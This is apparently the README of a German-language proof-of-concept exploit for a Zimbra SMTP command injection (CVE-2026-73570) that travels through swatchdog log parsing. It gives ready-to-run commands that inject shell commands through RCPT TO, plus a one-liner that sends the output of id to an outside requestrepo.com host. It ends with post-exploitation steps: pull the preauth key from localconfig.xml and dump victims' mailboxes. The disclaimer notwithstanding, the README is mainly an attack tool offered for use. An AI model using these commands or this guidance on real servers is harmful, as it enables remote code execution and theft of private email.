
Python-PoC für CVE-2026-73570, eine SMTP-Befehlsinjektion in Zimbra. Sendet manipulierte RCPT-TO-Payloads, um über swatchdog die Ausführung von Shell-Befehlen auszulösen, mit automatischem Port-Scanning und OOB-Verifizierung.
Ein benutzerdefiniertes, Low-Level-Python-Proof-of-Concept-Skript (PoC) zum Testen von SMTP-Befehlsinjektions-Schwachstellen (CVE-2026-73570).
Dieses Tool sendet eine fehlerhafte RCPT TO-Adresse, die eine Shell-artige Befehlsersetzung (z. B. $(command)) enthält, um festzustellen, ob der Ziel-Mailserver oder seine nachgelagerte Verarbeitungspipeline die Adresse unsachgemäß ohne Bereinigung durch eine Shell leitet.
⚠️ HAFTUNGSAUSSCHLUSS: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Stellen Sie sicher, dass Sie die ausdrückliche Erlaubnis haben, die Zielinfrastruktur zu testen. Unautorisierte Scans oder Ausnutzung von Mailservern sind illegal.
Nicht jede Zimbra-Instanz ist verwundbar. Alle diese Bedingungen müssen erfüllt sein:
zimbra-snmp ist installiert (wird bei der Installation oft angeboten).snmp_notify).swatchdog läuft (standardmäßig aktiviert).Angriffsfläche: Der Angriff benötigt kein SNMP (UDP/161/162), das dem Angreifer ausgesetzt ist. Die bösartige Eingabe kommt über Standard-SMTP an.
Der Prozess swatchdog verfolgt /var/log/zimbra.log mithilfe der Konfiguration aus /opt/zimbra/conf/swatchrc.in. Er gleicht Log-Einträge aktiv mit den folgenden regulären Ausdrücken ab:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
Die Erfassungsgruppe (.*) wird als Dienstname behandelt. Das Skript dosnmp interpoliert diesen erfassten Text dann direkt in einen Perl-Backtick-snmptrap-Befehl. Da Perl-Backticks über die System-Shell ausgeführt werden, werden alle in (.*) erfassten Shell-Metazeichen ausgewertet und ausgeführt.
Angreifer bringen den bösartigen Text in das Log, indem sie einen SMTP-Befehl (wie RCPT TO) senden, dessen Argument wie eine echte Dienststatuszeile aussieht. Postfix protokolliert dies als illegale Adresssyntax, aber swatchdog gleicht den regulären Ausdruck in der Log-Zeile trotzdem ab und übergibt die Nutzlast an die Shell.
smtplib, um rohe, nicht-RFC-konforme Nutzlasten genau so zu senden, wie ein Angreifer es tun würde.--command-Flag.argparse für eine einfache Integration in Test-Workflows.Speichern Sie das Skript in einer Datei mit dem Namen CVE-2026-73570.py (oder einem beliebigen Namen Ihrer Wahl):
# Beispiel: Datei herunterladen oder erstellen
nano CVE-2026-73570.py
Sie können das Skript je nach Ihrem Testszenario auf verschiedene Weise ausführen.
Wenn Sie keinen Port angeben, scannt das Skript die Ports 25, 465 und 587 und zielt automatisch auf den ersten offenen Port.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Wenn Sie den Zielport bereits kennen (z. B. 465), können Sie das Scan-Raten überspringen.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Wenn Sie nur prüfen möchten, welche Mail-Ports auf einem Ziel offen sind, ohne die Nutzlast zu senden.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argument | Kurzform | Beschreibung | Standard |
|---|---|---|---|
--host | -H | Ziel-Host-IP oder -Domäne. | 127.0.0.1 |
--port | -p | Zielport. Wenn weggelassen, scannt 25, 465, 587 und zielt auf einen offenen. | None (Auto) |
--command | -c | Shell-Befehl, der in die SMTP-Nutzlast injiziert werden soll. | TEST_PAYLOAD |
--scan-only | -s | Nur Ports scannen und beenden, ohne die Injektionsnutzlast zu senden. | False |
Das alleinige Ausführen des Skripts beweist nur, dass der Mailserver die fehlerhafte RCPT TO-Adresse empfängt. Um die tatsächliche Befehlsinjektion zu bestätigen, ohne direkten Zugriff auf das Dateisystem oder die Logs des Ziels zu benötigen, verwenden Sie einen Out-of-Band (OOB)-Callback über HTTP.
http://xyz123.requestrepo.com).curl aus, um Ihre eindeutige URL zu treffen:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Pro-Tipp (Datenextraktion): Sie können die Ausgabe von Befehlen exfiltrieren, indem Sie sie in den URL-Pfad Ihres Callbacks injizieren:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Prüfen Sie Ihr Request-Repo-Dashboard, um die Ausgabe uid=0(root) im angeforderten Pfad zu sehen.
Während des Tests erhalten Sie möglicherweise eine SMTP-Antwort wie diese:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
Gehen Sie NICHT davon aus, dass die Schwachstelle fehlgeschlagen ist, nur weil die Adresse abgelehnt wurde.
Viele Mailserver (wie Postfix oder Exim) akzeptieren die Nutzlast während der SMTP-Transaktion syntaktisch, lehnen den Zustellversuch jedoch sofort ab, weil die Domäne/der Empfänger nicht in ihrer erlaubten Relay-Liste steht.
Die CVE-2026-73570-Schwachstelle wird nach dieser Ablehnung ausgelöst. Die bösartige Zeichenfolge fließt als Log-Eintrag mit illegaler Adresssyntax in /var/log/zimbra.log. swatchdog verfolgt dieses Log, gleicht die Nutzlast ab und übergibt sie an die Shell.
Da die Nutzlast diese Backend-Systeme zur Protokollierung trotzdem erreicht, wird die Befehlsersetzung ($()) weiterhin ausgeführt. Verlassen Sie sich immer auf Ihren OOB-Callback (z. B. Request Repo), um den Erfolg zu verifizieren, unabhängig vom SMTP-Antwortcode.
Sobald die Befehlsausführung über die swatchdog-Injektion erreicht ist, arbeitet der Angreifer typischerweise als Benutzer zimbra. Von hier aus ist das primäre Ziel oft der Zugriff auf die Mailbox-Daten.
Um diesen nächsten Schritt zu erleichtern, können Sie zimbraKing verwenden – ein benutzerdefiniertes Tool zum Dumpen von Zimbra-Mailboxen.
Verwendungsszenario:
Wenn Sie während Ihrer Post-Exploitation-Phase in der Lage sind, die Zimbra-Konfigurationsdateien zu lesen und den preAuthKey zu extrahieren (normalerweise in /opt/zimbra/conf/localconfig.xml unter dem Schlüssel zimbra_preauth_key zu finden) oder wenn Sie gültige Zimbra-Kontoanmeldedaten erhalten, können Sie diese in zimbraKing einspeisen.
Das Tool nutzt den preAuthKey oder die Kontoanmeldedaten, um sich gegen die Zimbra-SOAP-API zu authentifizieren und systematisch den Inhalt der Ziel-Mailbox zu dumpen, ohne direkt mit der zugrunde liegenden Datenbank oder dem Dateisystem interagieren zu müssen.
smtplib verwenden?Pythons eingebautes smtplib erzwingt strenge RFC-Standards. Wenn Sie versuchen, eine Adresse mit ", $, ( und ) über smtplib.sendmail() zu übergeben, wird die Bibliothek die Zeichenfolge entweder verstümmeln, um sie „sicher" zu machen, oder eine SMTPRecipientsRefused-Ausnahme auslösen, bevor die Daten jemals das Netzwerk erreichen. Dieser benutzerdefinierte Client verwendet rohe Sockets, um eine bytegenaue Zustellung der Exploit-Nutzlast zu gewährleisten.